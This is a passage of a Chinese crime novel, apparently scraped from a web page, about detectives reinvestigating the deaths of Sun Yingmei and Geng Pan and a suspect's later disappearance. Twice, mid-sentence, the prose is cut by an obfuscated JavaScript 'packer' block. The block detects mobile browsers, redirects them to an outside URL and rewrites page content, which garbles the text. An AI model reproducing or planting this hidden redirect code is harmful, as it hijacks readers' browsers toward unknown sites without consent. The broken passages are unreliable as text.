“啊?哦……”李江涛瑟缩在椅子上,神色也变得尴尬,“那我讲给你听,反正一样的。但是……那个蓝色布条,我还没来得及查……” 余大佑卸去了些许防备,但又想到他之前被拘留的场景,犹豫地问道:“那个叶全……” “这你可以放心,叶全已经不再插手这件案子。”高启航十分肯定地插了一句。 到了这会儿,余大佑脑海中绷着的弦有些松动,哪怕他明白他不应该轻易相信人。 他打算和盘托出。 告诉他们,孙英梅在得知朋友小元上吊后,曾经找到耿攀,跟他吵过一架,两人因此结怨。 告诉他们,他在孙英梅的手里找到一缕蓝色布条,那是耿攀衣服的布料,有许多村民都记得,因为衣服昂贵又样式新颖,耿攀曾经在村里炫耀过,但是事后却再也没见他穿过。 告诉他们,王更生说他看到叶全收了一个山羊胡子老头儿的钱,而耿攀的爹就蓄着一把长长的灰白色山羊胡。 告诉他们,把他知道的一切都告诉他们…… 但是阴差阳错,阳错阴差,时间错了,人错了,就什么都晚了。 如果最开始负责这件案子的不是叶全,而是眼前的两个人;如果他没有在医院的走廊上收到那封信;如果他没有为了买金镯子在工地拖着不回家;如果他小时候当真连一天书也没念过,连一个字儿都不认识…… 那,是不是就不会有这场浩劫了? 余大佑最终什么都没说。 半个小时后,高启航和李江涛没能从他这里拿到一点儿线索,他俩总算放弃,跟余大佑告别。 高启航拿过李江涛的笔记本,撕了个小纸条,在上面写下电话号码。 “您要是后头再想起什么,就拨打这个电话。时候也不早了,我俩还有其他事儿,就先走了。” 余大佑愣愣地接过,轻点脑袋。 两人走出医院,高启航点了一支烟,对着跟在身后的李江涛说:“你先别回去了,就在医院蹲点儿。我感觉余大佑不太对劲。” “难道……会是他杀了耿攀?”李江涛有些不赞同,毕竟余大佑有充分的不在场证明。 “怎么?你觉得他老实巴交,看着又可怜,所以不会杀人啊?” “我觉得,觉得他杀自己的可能性都比他杀别人的高。” 高启航不是个多嘴的人,他也明白年轻人到底是少了些社会经验,容易被骗。 他们像白纸一样,初入社会的时候都很单纯,但等到他们逐渐融入社会,被社会的腌臜染上斑斑痕迹,被更多的人和事欺骗、诋毁和辜负,渐渐地,他们就能自己领悟。 如今他高启航再多的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308146|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教诲,再殷切的嘱咐,都比不上让李江涛自己跌个跟头的效果来得好。 高启航看好面前这个年轻人,所以他不置可否。 他正要离开,突然被李江涛说的最后一句话击中,他抽烟的手一顿,随即扔了香烟,一脚踩灭,“行了,你干你的去。我刚才东西忘了拿,回去一趟。” 等到高启航和李江涛走后,余大佑恍惚了很久,他在花园的椅子上抽烟,抽了半根,却无论如何再也抽不下去。 “咳咳……” 他突然觉得胸中翻江倒海,尼古丁的味道在他鼻腔里也控制不住地乱窜,一阵恶心的感觉翻涌而出,他赶忙随手将剩下的半截香烟扔入花坛里。 刚回到病房门口,手握住门把手快要转动的一瞬间,另一只手就伸到他身前挡住。 正是去而复返的高启航。 “对了,我刚才有件事情忘记了,您过来一下。”高启航说完就双手插兜,往走廊尽头的小阳台走去了。 他是个典型的北方人,身材高大,双腿极长,几个大步就将余大佑甩在身后老远。 他走出去一大截儿,猛然一侧头才发现余大佑压根没跟上来,而是呆头鹅一样愣在原地,分毫没动弹。 “来啊,我真有事儿找您。” 余大佑和高启航就这样,面对面站在小阳台里。 刚才在医院后面的阳台里,余大佑一直埋着脑袋,没怎么看高启航,这会儿两人面对面站着,他才发现对方如此高大、 他穿着一件松松垮垮的黑色皮衣,一双长腿包裹在黑色的长裤里,话不多,通常神情严肃,眼睛炯炯有神,总给人一种疏离感。 但因为他的身份,更因为他眉宇之间的浩然正气,总让他令人信服。 好像是个神通广大的天神,可以降临到世界上的任何一个角落,只要他的百姓曾在那里蒙受过苦难,遭受过冤屈。 此时,阳台外的太阳从树梢上爬起来,投下一道道刺目的光影,光影投射在高启航的身上,更为他增添几分正义的神性。 而余大佑沉浸在自己无可倾诉、也不愿有人来倾听的境地之中,全然不知道在他身后,多日来被乌云严严实实挡住的旭日,已经撕开了一层又一层的虚伪和黑暗,竭尽全力地要让光明洒进千家万户。 没过多久,高启航大踏步走出了医院。 余大佑仍然站在走廊尽头的阳台里,好像同外面的杨树一般,就地变成一颗木头。 他的手里多了一沓钞票,正是刚才高启航强势塞到他手里的。 “刚才听护士小……不是,听那个长脸护士说让您早点去缴费,喏,我的钱,您先拿着救个急,以后等这茬儿过了再还我,我不着急。” 高启航最讨厌推推搡搡,害怕余大佑也跟他来这一套,没等对方回过神,赶紧离开了医院。 不知道过了多久,余大佑沿着阳台的墙根,跌坐在地上。 他一只手用力地攥紧手里的钞票,一只手发疯一般使劲扯着头发,而后又用力地扇了自己两耳光。 他将头埋在膝盖之间,看不清脸上的神情,只能看到他不停上下抖动的身体。 此时,阳台里的光芒突然消失不见,旭日被浓密的树影和枝丫全部挡住。 要是提前一些时间,只消片刻,他能站起来,回身瞭望远方,自然能看见一片清白的大地。 可是太晚了,一切都太晚了。 从此,余大佑彻底葬身于黑暗中,并且余生也只能身处其中。 耿攀尸体被发现的当晚,城南警察局分局,高启航一行人正加班加点梳理案情并制定方案。 深夜两点多钟,粱梦中学附近的一个院子突然起了场大火。 听附近的居民说,那院子本属于一个老太太,老太太儿子和儿媳妇在临近的宁城工作,常年不住在家里,所以老太太就将院子的一半赁给了一对带着孩子的年轻夫妇。 已经是十二月初,许多人家都在院子里提前准备好了过冬的物资,因此院子的一角堆了两家人的煤炭和柴火。 火势起来的时候,人们尚在睡梦当中,等到听见自家门外的呼喊和尖叫声时,慌忙披了件厚厚的衣裳往外跑。 “着火了!着火了!快救火啊!” 他们蓬头垢面,衣服歪歪扭扭地挂在身上,扣子乱七八糟地扣着,有的人更是连鞋子也没来得及穿。 不管男女老少,捡了家里的水桶、盆子,水瓢……甚至连院子里的花盆也不放过,连滚带爬地奔向巢河,又返回那处起火的院子。 循环往复,来来回回,不知疲惫,只是担心里面住着的人。 但是杯水车薪,院子里的煤炭和柴火本应当是隆冬的保命符,此刻却变成院中人的催命符。 符咒一挥舞,那火势就越发厉害。 火舌不止往天幕上窜,染红整片天空也不够解气,更要向意图扑灭自己的这群凡人施压。 它挑衅地燎了他们的衣角,那衣角瞬间破了个大洞,混着被烫伤的皮肉,黏黏糊糊地贴在一起,叫人痛得挤眉弄眼。 他们再不敢靠近,也明白手里的那点水于事无补,灰头土脸,气喘如牛,只能暂避锋芒,远远地躲避,看着火势往控制不住的方向发展…… 51.如梦一场 “我这次来啊,是为了了却一桩心……旧事。”李江涛擦擦额角的汗水,脸上有些不自在,“其实我早就……唉算了,我今天正好来你们这边办点事儿,顺道来的,也不想多耽误你们的时间,我就长话短说了。” “不耽误事儿的,慢慢说。”班青接过梁斌递过来的矿泉水,拧开盖子放到李江涛手里。 “我啊,老了不中用了,上次你们俩来找我问耿攀的事情,我就记得个大概。你们走了之后,我无意间找到了我那时候工作用的笔记本,正好顺道,索性今天就直接过来了。” 李江涛说着,把早就放在桌子上的笔记本推向对面的班青和白杨面前。 “嘿嘿,也不是特意找出来的。说来也巧了,我媳妇儿打算把我儿子不要的课本给清理了,不知道怎么捣鼓的,把我的工作记录本找出来了。我一看,嗬,正好上面有耿攀的案子,就把它拿了过来,就是不知道对你们有没有用。” “李前辈你打个电话就行了,我们自己去取,还亲自跑一趟。”白杨客气道。 班青拿了过来,打开笔记本一看,里面写满了密密麻麻的字。 有的工整,应当是时间充裕的时候写下的,有的像一条条虫子,难看潦草得紧,有的是一些符号,几条线,几个圈,看不懂是什么意思。 本子已经很旧了,纸张极薄,好像一捻开就会破。 李江涛当然不敢折一个角儿,他随意用一张不知道哪里找来的名片夹在其中。 班青翻了几页,就翻到了名片所在的位置。 以名片为界,前面是孙英梅和刘旺发的案子,后面则是耿攀的案子。 班青从名片处往后翻了几页,上面关于耿攀的信息与他们在卷宗上看到的差不多。 她随意看了看,又接连从名片处往前翻了几页,直到翻到孙英梅一案的最初位置。 里面记载的内容有人物关系图,有证人的调查记录,有列为嫌疑人的名字,一个个,写上又划去。 李江涛努努嘴巴,示意她往后面再翻几页。 班青照做,一直翻到孙英梅案子的最后一页。 “蓝色布条”,只有四个字,占了一整页的位置,然后被笔记本的主人用一个大大的叉划去。再之后就是刘旺发的案子,但是这页的后面连着三四页都被人撕掉。 撕开的地方已经发黄,显然不是最近撕掉的。 “说来惭愧,这个蓝色布条是孙英梅和余珍宝一案中最重要的证据,孙英梅死后,她的丈夫余大佑从她的手里发现,但是……”李江涛有些尴尬地搓搓手,“但是最后因为一些原因遗失了。” “什么原因啊,前辈?”一直坐在另一张桌子前假装做事、实则暗中偷听的蔡小新突然冒出来一句。 “哎,都是些旧事了,也没什么不能说的。余大佑发现蓝色布条之后,交给了最初负责这件案子的叶全。 “那布条的材质和上面的花纹都比较特殊,是当时市面上年轻人偏爱的款,河阴村都是些庄户人家,买这种款式的衣服的人不多。所以,叶全他们很快就锁定了布条的主人。” “难道是……耿攀?”蔡小新惊呼一声。 白杨和班青被他一惊一乍的动作吓了一跳,默契地同时抬头看了他一眼,眼带不善。 梁斌似乎已经习惯了性格跳脱的蔡小新,因而他从头到尾都没反应,一脸淡定地听着。 “后来河阴村村民反映,他们的确看见过耿攀穿了件蓝色的碎花衬衣,我的几个同事正要去耿家诊所调查的时候,蓝色布条却不翼而飞。”李江涛说完,已是尴尬不堪,他拿过班青递给他的水,用喝水的动作遮掩。 白杨想起之前老陈提到的因为犯错而被开除的叶全,他迟疑地猜测:“不会……跟叶全有关系吧?” “当时局里有个传言,说叶全收了耿攀父亲的钱,毁灭了证据。那时候我亲眼看到余大佑到局里来找叶全的麻烦,闹得太大,被拘留了几天。” “就没追究叶全的责任?”梁斌一直安安静静地听着,听到此处,他忍不住问道。 “弄丢了证据……也不光彩,而叶全干脆不承认余大佑给过他布条,所以就这样稀里糊涂地糊弄了过去。” “没有直接证据,也没有证人愿意出来作证,局里打算以意外坠崖结案。后来高队来了,没两天耿攀出事了。他把耿攀一案的两个最大嫌疑人,也就是刘旺财和余大佑涉及的两个案子合并调查。 “经过我们的调查,刘旺财和余大佑都没有作案时间。尤其是嫌疑更大的余大佑,他的不在场证明非常充分。” 班青作沉思状,疑惑地问道:“会不会是除了他们两个之外的人?毕竟耿攀的社会关系,谁都有可能成为凶手。” 李江涛:“不是没有这个可能,毕竟我们人手有限,不可能完全囊括所有嫌疑人,尤其是耿攀这种复杂情况。但是余大佑比较奇怪……高队觉得他有问题,虽然他有不在场证明,还是让我跟着他。我盯了他很久,却没有发现异常。” 李江涛说得口干舌燥,停顿一下,喝了口水,继续他的回忆。 “最后一天我接到高队命令,打算撤了。但就在那天傍晚,余大佑跟病房里的人说,他要去医院后花园给他女儿摘一朵花。 “那时候是饭点,花园里就他和另一个穿着病号服的人,他俩没说话,但是那个人给了他一个纸包。” 蔡小新咋咋呼呼,慌忙问了:“谁啊前辈,你看清楚了吗?” 李江涛遗憾地摇了摇头,不免惋惜道:“那时候正好闹流感,又是医院,都戴口罩。那人也戴了口罩,完全看不清脸。但是——” “但是什么?”蔡小新听到有了转机,雀跃地一声惊呼。 “你消停一点吧给我,少说几句话能不能把你憋死?”白杨终于忍不了了,一记手刀往蔡小新背上劈去,后者的确是憋不住话的,一阵嗷嗷叫唤。 “但是我看到了他的手。我从医院二楼去花园的时候,他正要离开,我喊了一声,让他停下。他抬头看了一眼跑到楼梯转角的我,愣了一下,但没有停下,而是伸手往上拉了一下口罩。 “我又喊了一声‘站住!’,等我跑下楼梯的时候,他已经不见了。但正是因为拉了下口罩,我看清楚了他的右手,上面有一块疤痕。” 蔡小新一下子兴趣缺缺,“就一道疤痕,上哪里找人去呀?” 班青注意的却是另外一件事情。 “前辈,你刚才说,那人给了余大佑一个纸包?” “对,很常见的那种油纸,跟路边摊装饼子的纸张差不多,包了不知道什么东西。我本想直接问余大佑,但我想着,蹲了好几天总算见到点不一样的,不能打草惊蛇、功亏一篑吧?就跟高队申请,再观察几天。 “不过那时候县里有点乱,局里实在没人,最后没能申请下来,我只能回去。后来……” 李江涛说到这里,神色十分恍惚,他的眼底好像萦绕着一层层厚得化不开的白雾。 蔡小新难得地善解人意,包括他在内的四个人,都安安静静地等着李江涛。 “后来我好不容易匀出来时间,到医院的时候,余大佑却不见了。医生说他带着他女儿回家了。我追到河阴村,村里人告诉我,他走了,带着他女儿去了外地讨生活。” 李江涛眼底的白雾更浓了,浓得快要化成了水,又好像要化成一块块寒冰。 虽然高启航是让他将余大佑作为耿攀一案的嫌疑人来查,其次才是孙英梅一案的受害者家属。 但是自从他看到余大佑心如死灰的眼神时,他总是控制不住地对余大佑感到愧疚和同情。 愧疚是因为他知道正是他们内部出了问题,才导致直接证据的毁灭,让本可以水落石出的案子最后竟然差点以意外结束。 而同情则来自于他走访河阴村的时候,听见村里老人对余大佑的描述。 那些对话中因着他这个外人的存在,不得不带上一丝关切,好叫他这个警察明白,他们不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325021|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全然的冷漠看客,他们也是“菩萨心肠”。 但是从他们的语气中,不难听出来,更多的,是一种庆幸和对比。 庆幸自己没有遭遇余大佑一样的凄惨身世,庆幸自己不是老天爷所厌恶的人。对比的是自己父母健在,也有妻儿常伴身旁。 人总是在同他人苦难的对比中汲取力量,从而才能麻木地活着。 人之常情嘛,难免的,他想。 但他不能麻木。 他是警察,既然披上这身皮,就不能做一个麻木的看客,就有他的职责要履行。 况且叶全还负责孙英梅一案的时候,他其实也在组里,只不过他人微言轻,无意识且间接地做了个看客。 所以看到余大佑那双灰败颓丧的眼神时,他越来越愧疚,越来越不能原谅自己。 他的牛劲又上来了,哪怕偷偷地查,也要查出真相。 但是,余大佑不等他了,也不相信他们了。 良久之后,李江涛从他游离的回忆中回神。 “那时候,我费了好大的力气,好不容易说动耿攀家的一个邻居,让他给我提供证词,他照做了。让他出来作证,他又不愿意了。 “我觉得要是我再给他带上几条烟,他很快就会同意。但是没想到,耿攀死了……” 孙英梅的案子,严格意义上讲,是他工作以来办的第一个案子。 在那之前,有叶全压着,那是个最会抢功劳、最爱出风头的人,只要有他在,任何重要的案子就别想碰。 所以他徒有一身理想抱负,却无处施展。也正是因为关图县当时的混乱,导致叶全分不开身,他才得以接触孙英梅一案,做个边角料。 但是一腔热血,最终被现实浇灭。从上到下,从局里的领导,到叶全,处处是关卡,时时刻刻不能顺利。 后来,叶全被高启航踢出了案子,他跟着高启航暗暗地庆幸,庆幸终于不用再缚手缚脚。 所以他铆足了力气,哪怕耿攀都已经死了,他还是要接着查。 但是余大佑却消失了。 跟着余大佑一起消失的,还有他的野心。 在他很小的时候,父母教过他,不要把想要什么东西的想法表现出来。 因为坏人很多,哪怕这东西对他们并没有妨碍,又或者以他们的能力本就不足以拿到这样东西,但凡被他们察觉,他们却能发了狂、拼了命地阻止别人拿到。 用“宁为玉碎不为瓦全”的态度搞砸一切,只为了不成全另外一个人。 但是那时候他太单纯,把父母的话当做了耳旁风,并没有往心里去。以至于高启航出现的时候,他以为自己绝佳的机会来了。 他得意,他忘形,像个开了屏的孔雀,花枝招展,只顾着查案,只顾着成全自己的野心。 叶全阴鸷如同秃鹫的眼神,他看不到。 王更生幸灾乐祸,明面上鼓励,实则将他架在火上烤的动作,他也全然未能察觉。 同事们渐渐疏远,由戏谑笑闹变为明褒暗贬的声音,他也无暇顾及。 他只想珍惜高启航在的时间,完美地办完河阴村接二连三的几个案子,以对得起受害者,也对得起他自己。 那时候,他整天跟在高启航的身边,像是他最忠实的伙伴,哪怕对方是他的直属领导。 他这个青涩的生兵蛋子,用他最笨拙却最朴实的方式,得了对方的青睐和赏识,虽然他自己也搞不清楚为什么。 但是高启航这样的领导并不常有,叶全这种渣滓却遍地都是,像是一年中最热时候的蟑螂,环境越是燥热,它们越是欢腾。 老天爷并没有让他得偿所愿,在他人生的第一个案子还没办清楚的时候,高启航到了关图县不到一年就接到一张紧急调令,而后离开。 他们这两个背景天差地别、来处全然不同的人,在关图县的短暂相遇,好像是一场梦境。 他刚进入幻境中,还没来得及分清楚真伪,对方就飘飘然地走了。 52.我已经老了 “高队被调走后的第二天,我被调去管理户籍。耿攀死了,余大佑也离开了,好像我的确也应该收手了,但我就是不甘心。所以我又开始暗中调查……” 李江涛回到医院,翻遍了那段时间的住院记录。 那个递纸包给余大佑的人,那天穿着一身条纹病号服,肯定是医院的病人。 二十到三十岁的年纪,男人,瘦高的身形,戴着一副眼镜。皮肤很白,右手手背上一道疤痕,但是皮肤细腻,不像是常年做苦力的人。 他推测,那男人应该从事轻劳动,或者是个坐办公室的读书人,有一份相对体面的工作。 思路是没错的,住院记录也翻了许多遍,不可能有所遗漏,但不知道为什么,始终找不到满足条件的人。 无数个越发寒冷的夜晚,头顶上方的灯泡强势地洒下一片片暖黄,将医院狭小的房间占据得满满当当。偶尔也有几声“嘶嘶”打断漫长的沉默,那是电流流经灯丝的声音。 李江涛被灯光拉长的影子斜斜地映在墙上,一动不动,像是被凿刻进了墙面里。 他看得头昏脑涨,恍惚之中,甚至开始怀疑,是不是真的存在过那样的人,或者根本是自己看错了? 右手一侧,桌子上厚厚的住院记录和就诊记录堆得快比他坐下的人头高,而他正前方的桌面上,只剩下薄薄的几页。 他看了看手表,不知不觉看了整个下午,此刻时针已经指向晚上十点。 算了,最后一遍了,这几页看完就再也不看。 天气寒凉,多日没有下雨,空气干燥冰冷,十分萧瑟。皮肤一暴露在空气里,不过几分钟,就好像一张被捏皱的黄纸。 他耷拉着脑袋,心灰意冷地走出医院。 没有,还是没有。 看了一下午的住院记录和就诊记录,看得他头昏脑涨,脑子里更是像浆糊一样,连看人都能看出残影。 “砰!”李江涛应声倒地。 他连滚带爬地起身,堪堪站稳,正要骂人,抬眼一看,却感到惊奇。 左手边,几个步履匆匆的人焦急地往前跑着,连撞倒了他也没能察觉。 撞倒他的,是四个人中的一个,衣着奇怪,与充满现代气息的医院氛围格格不入。 那是个穿着黄色袍子的男人,他脚步蹒跚,有些佝偻地背影和他喘气不停的声音可以判断出来,他年纪不轻。 那种样式的袍子,李江涛曾经见过,多是些在道场谋生活的人所穿。 只要人不太胖,哪怕是个不太丰满的椭圆形,穿上后就也能有几分仙风道骨的模样,再念些奇奇怪怪的咒语,搞一些旁人看不明白的仪式,轻轻松松,钱就到手。 此刻,本应该宽大松垮的袍子,已经被雨水浸透,服帖地粘在身上,漏出老道士有些滚圆的肚子。 “嘿,老道士怎么也陪人看病?给人喝点符水不就行了?反正老天爷会帮忙。”李江涛被撞得实在恼怒,忍不住小声讥讽道。 “轰隆——” 他话音刚落,一道刺眼的光线后,就是几声雷电的轰鸣。紧跟着,暴雨噼里啪啦地拍打在医院的窗户上,砸得他耳朵生疼。 李江涛尴尬地摸了摸鼻子,看向快要裂开的天幕,也不知道是说给谁听:“我就信口一诌,你生什么气啊……” 在老道士旁边,一个壮硕的男人正背着一个完全昏迷的男子焦急地往前跑,硬底鞋砸在地砖上,发出咣当咣当的声音,叠加上雷电的噪声,让人更加烦躁。 而在被背着的男子的另一侧,是一个胖胖的女人。 她已经跑得上气不接下气,还是催促身旁的壮硕男子。 “老谯,黄大师,再快点,快点,到医院了!快把汪老师送进去!” 老道士哼哧哼哧地剧烈喘气,他只管跟着跑,又不用背着人,所以并没有说话。 走在最中间的男人却忍不住呛她。 “不要催了,你来背嘛,重死了!” 右侧是一个上了年纪的老人,左侧是一个女人,他一个大男人总不能辛苦老人和女人,所以一路上全靠他自己一个人背着。 他妻子的话就跟她做的饭菜一样,眼大肚小,吃也吃不完,听也听不完。他背了一路,也听了一路,都到了医院了,还催! 本来也只是还一句嘴,可谁曾想,腰杆儿一挺,背上那昏迷成一团烂泥的人立刻就要往下滑! 李江涛不想再在医院耽搁,哪怕没有雨伞也要走人。 他本来都抬脚往外走了,听到背后的几声惊呼,扭脸一看,可不又是一阵混乱。 他往回快跑几步,扶住了那昏迷的男子,但只是将他从泥泞的地上捞起来而已。 男子身上每个地方都已经被雨水和泥水湿透,棉服几乎都能拧出水来,也难怪背他的那人忍不住抱怨。 他拉住男子的右手,正要放回身下那人的肩膀上,手里却感到一阵粗粝的摩擦感。 眼前突然一阵刺目的白光,劈开天幕,将漆黑而厚重的夜晚彻底照亮,和白天没有什么两样。 “轰隆——”闪电之后,又是一声惊雷。 眨眼之间,刺眼的白光消失,那只右手已经隐入黑暗之中。 原来,只是沾到了地上的泥土。 他真是得了失心疯了。 “汪老师?哪个汪老师?” 蔡小新从椅子上弹跳起来,越过坐在身边的白杨,将上半身撑在红褐色的桌子上,活脱脱一个壁虎,“李前辈,那人是不是叫汪明远?” 李江涛被他吓了一跳,讷讷地回答:“这我就不清楚了,我只听到人家叫他汪老师。不过在打雷,也很有可能是听错了,什么张老师,汤老师也是有可能的。” “这么大个人了,不嫌丢人呐?”白杨冲李江涛不好意思地点点头,放在身侧的一手一边把蔡小新从桌子上扒下来。 “就是,一惊一乍的。”梁斌撇了撇嘴,也跟着调侃他。 “嘿!我今天……” 李江涛看了看正笑笑闹闹的梁斌和蔡小新,摇了摇头,心中不免感叹:年轻就是好。 有活力,有朝气,也不怕挨骂,哪怕一边的白杨和班青脸色都有点铁青了,也装作没看到,闹完了再说。 “上次你们问我有没有听过‘汪明远’这个名字,我当时确实想不起来,但是你们看看这里……”李江涛拿回自己的笔记本,翻到耿攀一案的后面几页。 蔡小新忙不迭地往里凑,梁斌也歪头看过来。 泛黄的纸张上赫然写着一个“汪明远”。 白杨顿时来了兴趣,一向故作深沉的脸上透出几分喜悦,“这是什么案子。” “关于工厂关停的。死者是当时关图县最大棉纺厂的厂长,当时已经人间蒸发了好几个月,有传言说他偷了工人们的安置费。 “结果有天早晨我们接到报案,说有人死在了菜市场,到现场一看,才发现死者就是他。” “那……他跟汪明远有什么关系吗?”梁斌不解地问道。 李江涛拿着笔记本翻了翻,一边递到他们前面,一边说道:“并没有直接的关系。” 蔡小新一下就有些兴趣缺缺,班青余光瞟见他的神情,不动声色地肘了肘他。 李江涛看到了两人的动作,只当做不知道。 他拿起桌子上的水瓶,咕咕喝了几口,这才不慌不忙地说:“但是经过我们调查,一伙儿外 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四人听了这话,都是一震,不免产生了自我怀疑。 汪明远的个人信息里标注了他只和周琳有一段婚姻,也只有周凯一个儿子。 李江涛好像看出了他们的惊疑,他好歹多吃了几十年的饭,这种事情他见得多。 “那个年代很多记录保存不完善,所以查不到太正常了。如果有心之人暗中做了手脚,加以修改或者伪造,就更难查清。”他说着,不自然地微微哂笑。 “前辈,你说的有心之人是谁啊?叶全吗?” 李江涛也没想到蔡小新会直接成这样,他尴尬地摆了摆手,矢口否认:“哈哈,你这小子别跟我来这一套,我可没说是谁。” 蔡小新还要打破砂锅问到底,被梁斌一把拉开,这才不情不愿地闭上尊口。 “他出院之后,我又盯了他好几天。但是他很正常地上下班,两点一线,要么去学校,要么回他租的房子里,并没有异常。 “我本来还要继续查下去,但是工厂倒闭的事情因为周维海的死亡而结束,因为缺乏人手叶全才把我从户籍岗暂时调过去的,事情一结束,我就没价值了……” 李江涛说完,已经是满脸苦涩。 周维海死后,关图县工人的事情暂时告一段落,李江涛很快又从户籍岗调离,调去做交警,这一做就是五年。 毕业后到关图县工作,只有最开始的两年跟着叶全和高启航他们在正经办案,之后的三年都在大街上负责指挥交通,疏散人流。 五年之后,领导又换了几茬,叶全这个蛀虫也被揪出了队伍,但他李江涛没了心气。 他多次向上面打报告,上面拗不过他三天两头的请示,终于把他调去了安乐镇派出所,这一干就干到了现在。 有的时候,他也后悔过。 如果当初不冒头,是不是就不会惹了叶全的嫌恶,不会成了叶全的靶子,也不会让自己的一生都被白白蹉跎? 如果当初没那么嫉恶如仇,睁一只眼闭一只眼,不那么轴,灵活一点,谄媚一点,违心一点,是不是就能成全了自己的野心,哪怕手段并不太光明? 他本就是看不惯叶全在孙英梅的案子中胡作非为,才趁着有高启航在,拼尽全力地要真相大白于青天。 但是他燃烧完了自己,烧得烛泪覆盖了烛台,最后连蜡烛的血泪都流干了,也没能让真相大白于天下。 这些答案他都没法回答自己,他也不会再设想另一种可能。 因为,他李江涛已经老了。 53.起火 “明远啊,你也多保重保重自己的身体,赶紧调整过来,不要太难过了。你老婆要是还在,看见你这幅失了魂的样子,她也会难受的。人都已经走了,可是活着的人还要过生活不是?” 平时跟汪明远关系稍微好点的那位同事拍了拍汪明远的肩膀,温和地低声安慰他。 此时,走廊最尽头的教师办公室里,只有他们两个人,其他老师恰巧都不在。 因为校长和年级主任对汪明远的态度,平日里很少有同事跟汪明远走得近。 他们也怕触了那二位的霉头,害怕因为汪明远惹火上身,所以虽然跟汪明远没有什么过节,但是一般能少跟他说话,就绝不多说上一个字。 所以这名同事当真是冒着巨大的风险,顶着被众人一齐排挤的巨大压力,才鼓起勇气跟汪明远说上几句安慰的话。 他以前跟汪明远也不太熟悉,但两人同一年被分配到粱梦中学工作,到底还算得上是同期。 加之人家家里又发生那样的惨事,要真像办公室里其他人一样不闻不问、装作不知,就实在是太不像话了。 不知道汪明远有没有听到他的话,反正没有抬头,没有说话,只是捏着一根钢笔,左手撑着桌沿,捏着钢笔的右手悬空着,一动不动。 他不知道在想些什么,这些天来总是时不时地走神,无论是上课的时候还是待在办公室里。 他行尸走肉地上班再下班,好像重复着之前一天又一天的动作,只是无论来去,都只是一个没有灵魂的空壳子。 那位同事见他并不回答自己,倒也不恼,理解地摇了摇头,又拍了拍汪明远的肩膀,抱着他几分钟之后需要用到的教科书走出了办公室。 走到门口的时候,还怜悯地转身回头看了看,深深地叹了一口气。 粱梦中学虽然说只是关图县里一个平平无奇的学校,更不是什么市级重点,没有名气,没有荣誉,但是“庙小妖风大,池浅王八多”,里边可聚集着不少的牛鬼蛇神。 因此这间小小的学校里面,为了点蝇头小利,可以你争我抢到头破血流的程度,为了不成全了别人的好事,可以造谣、污蔑、子虚乌有并且被拆穿之后也不以为耻。 汪明远是个被众多老师和学校管理层针对的对象,因为他想要进步,想要争夺,想要出人头地,所以成为了众人齐齐挥剑而向的“眼中钉”和“肉中刺”。 这位和汪明远同期的同事虽然看着单纯、人畜无害,但是他聪明、反应快,比汪明远更懂得人情世故,所以他看得清楚。 学校里有这么多“老人”等着,他们等了大半辈子,等着时机一到,就能自然而然地“顺位继承”,可以说他们没有“功劳”,但是日日钉在办公桌前,这如何不算是“苦劳”? 就算是和尚撞钟,至少也得早起不是? 这样一群翘首期盼的人,哪里能容忍你一个刚走出学校没多久的愣头青骑在他们头上,哪能任由你发光发热挡了他们的光芒,哪能安心坐以待毙让一个年轻人“篡位”? 汪明远太醉心于事业,太想要进步,所以,他的目光太聚焦到一处,只顾盯着舞台中间的聚光灯,哪怕手上和脚上都绑缚着铁链也要奋力往中间爬。 却没有看到舞台四周,在聚光灯照耀不到的地方,“牛鬼蛇神”们正青面獠牙,瞪大了他们血洞一般的眼睛,像是黑夜里正伺机而动的猎豹,等到正爬向舞台中间的人被身上的铁链绊倒,他们便要齐齐扑来,吃干净他的肉,喝光他的血。 这位同事不但是看得分明,也看到了汪明远被“牛鬼蛇神”们蚕食的现状,所以从汪明远的惨烈中汲取了极大的教训,行事作风更加小心谨慎,更加战战兢兢。 所以现在,他只管今日和这个老师插科打诨,明日和那个老师嘻嘻哈哈。 像是个撞钟的小和尚,只管每日到点了就撞钟,旁的,他一概不管。 所以,他随和不上进的形象深入人心,任凭办公室里最冷漠、最目中无人的一名老英语教师也能跟他说上几句体己话。 几天之前,在他下午下班之后,正要收拾东西离开的时候,汪明远没有邀约他人,唯独请了他去学校后门的一家小饭馆吃饭,这自然是高情商的他苦心经营的结果。 他自然有些得意的,但也想要避嫌,害怕其他老师将对汪明远的厌恶蔓延到他的身上,所以抬起手,慌忙打算摆手拒绝。 可是那时候下午最后一节课已经结束,办公室里的人走了个七七八八,剩下的几个人平时也都是从学校前门离开,此时他们两个从后门离开去吃饭,大概率也不会有人看见。 加之对方的态度实在诚恳,自从汪明远被年级主任和新校长收拾之后,已经情绪低落了多日。今天好不容易振作精神,主动相邀,他要是还加以拒绝,岂不是让别人难堪? 想到这儿,他已举起到身前的两只手掌无论如何不好意思摆动,不好拒绝一个落寞之人的善意。 就这样,那天他第一次和汪明远举杯言欢,好像他们两人真真是一对意气相投的好友。 饭桌上,平素和他并没有太多交情的汪明远,正高高举着酒杯,言之凿凿、万分诚恳地感谢他往日的照拂,感谢他平时的关心,感谢他不同流合污,哪怕流言满天飞,众人纷纷讨伐自己,也独具慧眼地待自己如初。 